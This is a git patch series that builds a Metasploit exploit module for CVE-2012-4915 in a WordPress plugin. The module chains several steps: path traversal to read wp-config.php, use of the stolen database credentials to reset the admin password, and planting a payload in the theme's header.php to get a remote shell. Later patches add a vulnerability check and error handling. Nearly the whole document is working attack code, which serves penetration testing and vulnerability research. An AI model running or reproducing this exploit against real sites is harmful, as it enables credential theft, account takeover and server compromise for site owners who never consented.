From 25cadf8b8761bd3fcdc702337d1771d9a6271b48 Mon Sep 17 00:00:00 2001 From: Charlie Eriksen Date: Sat, 5 Jan 2013 14:21:02 +0000 Subject: [PATCH 1/5] Adding exploit for CVE 2012-4915 Initial commit. Major functionality working. A bit of polish is still needed in a few spots to handle exceptions and such. --- lib/rex/text.rb | 9 + .../wp_google_document_embedder_exec.rb | 220 ++++++++++++++++++ 2 files changed, 229 insertions(+) create mode 100644 modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 8695391c45..eec1eae00c 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -2,6 +2,7 @@ require 'digest/md5' require 'digest/sha1' require 'stringio' +require 'CGI' begin old_verbose = $VERBOSE @@ -562,6 +563,14 @@ module Text end end + # + # Decode a string that's html encoded + # + def self.html_decode(str) + decoded_str = CGI.unescapeHTML(str) + return decoded_str + end + # # Encode an ASCII string so it's safe for XML. It's a wrapper for to_hex_ascii. # diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb new file mode 100644 index 0000000000..09f9e1aba4 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb @@ -0,0 +1,220 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rbmysql' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure', + 'Description' => %q{ + This module exploits an arbitrary file disclosure flaw in the WordPress + blogging software plugin known as Google Document Embedder. The vulnerability allows for + database credential disclosure via the /libs/pdf.php script. The Google Document Embedder + plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL + server is exposed on a accessible IP and Wordpress has filesystem write access. + }, + 'Author' => + [ + 'Charlie Eriksen', + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2012-4915'], + ['OSVDB', '88891'], + ['URL', 'http://secunia.com/advisories/50832'], + ], + 'Privileged' => false, + 'Payload' => + { + 'DisableNops' => true, + 'Compat' => + { + 'ConnectionType' => 'find', + }, + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'Automatic', { }]], + 'DisclosureDate' => 'Jan 03 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']), + OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']), + OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']), + OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/']), + ], self.class) + end + + def exploit + uri = target_uri.path + uri << '/' if uri[-1,1] != '/' + plugins_uri = String.new(uri) + plugins_uri << datastore['PLUGINSPATH'] + plugins_uri << '/' if plugins_uri[-1,1] != '/' + admin_uri = String.new(uri) + admin_uri << datastore['ADMINPATH'] + admin_uri << '/' if plugins_uri[-1,1] != '/' + themes_uri = String.new(uri) + themes_uri << datastore['THEMESPATH'] + themes_uri << '/' if plugins_uri[-1,1] != '/' + + print_status('Fetching wp-config.php') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php?fn=#{rand_text_alphanumeric(4)}.pdf&file=#{'../' * plugins_uri.count('/')}wp-config.php", + }) + + if res and res.body =~ /allow_url_fopen/ + fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled') + elsif res.code != 200 + fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") + end + + config = parse_wp_config(res.body) + if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) } + fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly") + end + + @mysql_handle = ::RbMysql.connect({ + :host => config['DB_HOST'], + :port => config['DB_PORT'], + :read_timeout => 300, + :write_timeout => 300, + :socket => nil, + :user => config['DB_USER'], + :password => config['DB_PASSWORD'], + :db => config['DB_NAME'] + }) + + res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U + INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1") + + if res.nil? or res.size <= 0 + fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found') + end + + user = res.first + + new_password = rand_text_alphanumeric(8) + @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'") + print_status("Admin password changed to: #{new_password}") + + admin_cookie = get_wp_cookie(uri, user[0], new_password) + + theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie) + + print_status("Editing theme #{theme}") + set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded) + + print_status("Calling backdoor") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => "#{themes_uri}#{theme}/header.php", + }) + + if res and res.code != 200 + fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") + end + + set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content) + + @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'") + + print_status("Shell acquired. Disabled backdoor") + end + + def parse_wp_config(body) + print_status("Parsing config file") + values = {} + + body.each_line do |line| + if line =~ /define/ + key_pair = line.scan(/('|")([^'"]*)('|")/) + if key_pair.length == 2 + values[key_pair[0][1]] = key_pair[1][1] + end + elsif line =~ /table_prefix/ + table_prefix = line.scan(/('|")([^'"]*)('|")/) + values['DB_PREFIX'] = table_prefix[0][1] + end + end + #Extract the port from DB_HOST + values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306 + if values['DB_HOST'] =~ /localhost/ + values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST']) + end + + return values + end + + def get_wp_cookie(uri, username, password) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{uri}wp-login.php", + 'cookie' => 'wordpress_test_cookie=WP+Cookie+check', + 'data' => "log=#{username}&pwd=#{password}&wp-submit=Log+In&testcookie=1" + }) + + if res and res.code == 200 + fail_with(Exploit::Failure::UnexpectedReply, "Admin login failed") + elsif res and res.code != 302 + fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") + end + + admin_cookie = "" + res.headers['Set-Cookie'].split(',').each do |cookie| + admin_cookie << cookie.split(';')[0] + admin_cookie << ';' + end + + return admin_cookie + end + + def get_wp_theme(admin_uri, admin_cookie) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{admin_uri}theme-editor.php?file=header.php", + 'cookie' => admin_cookie, + }) + + if res and res.code != 200 + fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") + elsif res and res.body.scan(/(.*)<\/textarea>/m).flatten![0].to_s)) + theme = res.body.scan(/ 'POST', + 'uri' => "#{admin_uri}theme-editor.php?", + 'cookie' => admin_cookie, + 'data' => "_wpnonce=#{nonce}&theme=#{theme}&newcontent=#{Rex::Text.uri_encode(new_content)}&action=update&file=header.php" + }) + + if res and res.code != 302 + fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") + end + end + +end + From ae720227771e3c3d9b4aafe4e0d5fc98c6e6a32f Mon Sep 17 00:00:00 2001 From: Charlie Eriksen Date: Sat, 5 Jan 2013 18:23:00 +0000 Subject: [PATCH 2/5] Improvement for CVE 2012-4915 Made two tiny improvements based on Meatballs' points - Added handling for 127.0.0.1 as DB_HOST - Added a note in the description about it changing the pasword --- .../exploits/unix/webapp/wp_google_document_embedder_exec.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb index 09f9e1aba4..38f18b7195 100644 --- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb +++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb @@ -21,7 +21,8 @@ class Metasploit3 < Msf::Exploit::Remote blogging software plugin known as Google Document Embedder. The vulnerability allows for database credential disclosure via the /libs/pdf.php script. The Google Document Embedder plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL - server is exposed on a accessible IP and Wordpress has filesystem write access. + server is exposed on a accessible IP and Wordpress has filesystem write access. The + admin password may get changed if the exploit does not run to the end. }, 'Author' => [ @@ -153,7 +154,7 @@ class Metasploit3 < Msf::Exploit::Remote end #Extract the port from DB_HOST values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306 - if values['DB_HOST'] =~ /localhost/ + if values['DB_HOST'] =~ /(localhost|127.0.0.1)/ values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST']) end From a5113f0da4e781f810cb104e9fb63c38c29f4cd4 Mon Sep 17 00:00:00 2001 From: Charlie Eriksen Date: Sat, 5 Jan 2013 18:37:29 +0000 Subject: [PATCH 3/5] Adding a check function Because it makes sense. The non-vulnerable versions doesn't have /libs/pdf.php. So pretty simple. --- .../wp_google_document_embedder_exec.rb | 22 ++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb index 38f18b7195..b212e18a5d 100644 --- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb +++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb @@ -59,6 +59,25 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end + def check + uri = target_uri.path + uri << '/' if uri[-1,1] != '/' + plugins_uri = String.new(uri) + plugins_uri << datastore['PLUGINSPATH'] + plugins_uri << '/' if plugins_uri[-1,1] != '/' + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php", + }) + + if res and res.code == 200 + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' @@ -152,8 +171,9 @@ class Metasploit3 < Msf::Exploit::Remote values['DB_PREFIX'] = table_prefix[0][1] end end - #Extract the port from DB_HOST + #Extract the port from DB_HOST and normalize DB_HOST values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306 + if values['DB_HOST'] =~ /(localhost|127.0.0.1)/ values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST']) end From a8df3d71ffdc4769dfd8d1de4f4913822b774480 Mon Sep 17 00:00:00 2001 From: Charlie Eriksen Date: Sun, 6 Jan 2013 12:34:27 +0000 Subject: [PATCH 4/5] Changes based on Sinn3r's feedback A bucket-load of changes! - Added a fallback for if there is no Set-Cookie header - Added a check if the cookie we produce is simply empty, meaning we failed something :( - Removed use of flatten. Though I may look into making that extraction better - Changed cgi requests to use vars_(post|get) - Clarified a few status prints - A few EOL space fixes --- .../wp_google_document_embedder_exec.rb | 59 +++++++++++++------ 1 file changed, 41 insertions(+), 18 deletions(-) diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb index b212e18a5d..4b648133e3 100644 --- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb +++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote blogging software plugin known as Google Document Embedder. The vulnerability allows for database credential disclosure via the /libs/pdf.php script. The Google Document Embedder plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL - server is exposed on a accessible IP and Wordpress has filesystem write access. The + server is exposed on a accessible IP and Wordpress has filesystem write access. The admin password may get changed if the exploit does not run to the end. }, 'Author' => @@ -93,8 +93,13 @@ class Metasploit3 < Msf::Exploit::Remote print_status('Fetching wp-config.php') res = send_request_cgi({ - 'method' => 'GET', - 'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php?fn=#{rand_text_alphanumeric(4)}.pdf&file=#{'../' * plugins_uri.count('/')}wp-config.php", + 'method' => 'GET', + 'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php", + 'vars_get' => + { + 'fn' => "#{rand_text_alphanumeric(4)}.pdf", + 'file' => "#{'../' * plugins_uri.count('/')}wp-config.php", + } }) if res and res.body =~ /allow_url_fopen/ @@ -153,7 +158,7 @@ class Metasploit3 < Msf::Exploit::Remote @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'") - print_status("Shell acquired. Disabled backdoor") + print_status("Shell should have been acquired. Disabled backdoor") end def parse_wp_config(body) @@ -175,6 +180,7 @@ class Metasploit3 < Msf::Exploit::Remote values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306 if values['DB_HOST'] =~ /(localhost|127.0.0.1)/ + print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP") values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST']) end @@ -183,24 +189,34 @@ class Metasploit3 < Msf::Exploit::Remote def get_wp_cookie(uri, username, password) res = send_request_cgi({ - 'method' => 'POST', - 'uri' => "#{uri}wp-login.php", - 'cookie' => 'wordpress_test_cookie=WP+Cookie+check', - 'data' => "log=#{username}&pwd=#{password}&wp-submit=Log+In&testcookie=1" + 'method' => 'POST', + 'uri' => "#{uri}wp-login.php", + 'cookie' => 'wordpress_test_cookie=WP+Cookie+check', + 'vars_post' => + { + 'log' => username, + 'pwd' => password, + 'wp-submit' => 'Log+In', + 'testcookie' => '1', + }, }) if res and res.code == 200 - fail_with(Exploit::Failure::UnexpectedReply, "Admin login failed") + fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed') elsif res and res.code != 302 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end - admin_cookie = "" - res.headers['Set-Cookie'].split(',').each do |cookie| + admin_cookie = '' + (res.headers['Set-Cookie'] || '').split(',').each do |cookie| admin_cookie << cookie.split(';')[0] admin_cookie << ';' end + if admin_cookie.empty? + fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty') + end + return admin_cookie end @@ -217,19 +233,26 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access') end - nonce = res.body.scan(/(.*)<\/textarea>/m).flatten![0].to_s)) - theme = res.body.scan(/(.*)<\/textarea>/m)[0][0].to_s)) + theme = res.body.scan(/ 'POST', - 'uri' => "#{admin_uri}theme-editor.php?", - 'cookie' => admin_cookie, - 'data' => "_wpnonce=#{nonce}&theme=#{theme}&newcontent=#{Rex::Text.uri_encode(new_content)}&action=update&file=header.php" + 'method' => 'POST', + 'uri' => "#{admin_uri}theme-editor.php?", + 'cookie' => admin_cookie, + 'vars_post' => + { + '_wpnonce' => nonce, + 'theme' => theme, + 'newcontent' => new_content, + 'action' => 'update', + 'file' => 'header.php' + }, }) if res and res.code != 302 From 4e0fca6d0ff933fe633837cfadabf74a9931668f Mon Sep 17 00:00:00 2001 From: Charlie Eriksen Date: Mon, 7 Jan 2013 23:52:13 +0000 Subject: [PATCH 5/5] Adding DB error handling As per sinn3r's suggestion, adding handling for the most common MySQL errors. Also adding HostNotPrivileged, which I encountered during my testing. --- .../wp_google_document_embedder_exec.rb | 30 +++++++++++-------- 1 file changed, 18 insertions(+), 12 deletions(-) diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb index 4b648133e3..c63c6ffd89 100644 --- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb +++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb @@ -112,18 +112,24 @@ class Metasploit3 < Msf::Exploit::Remote if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) } fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly") end - - @mysql_handle = ::RbMysql.connect({ - :host => config['DB_HOST'], - :port => config['DB_PORT'], - :read_timeout => 300, - :write_timeout => 300, - :socket => nil, - :user => config['DB_USER'], - :password => config['DB_PASSWORD'], - :db => config['DB_NAME'] - }) - + begin + @mysql_handle = ::RbMysql.connect({ + :host => config['DB_HOST'], + :port => config['DB_PORT'], + :read_timeout => 300, + :write_timeout => 300, + :socket => nil, + :user => config['DB_USER'], + :password => config['DB_PASSWORD'], + :db => config['DB_NAME'] + }) + rescue Errno::ECONNREFUSED, + RbMysql::ClientError, + Errno::ETIMEDOUT, + RbMysql::AccessDeniedError, + RbMysql::HostNotPrivileged + fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server') + end res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")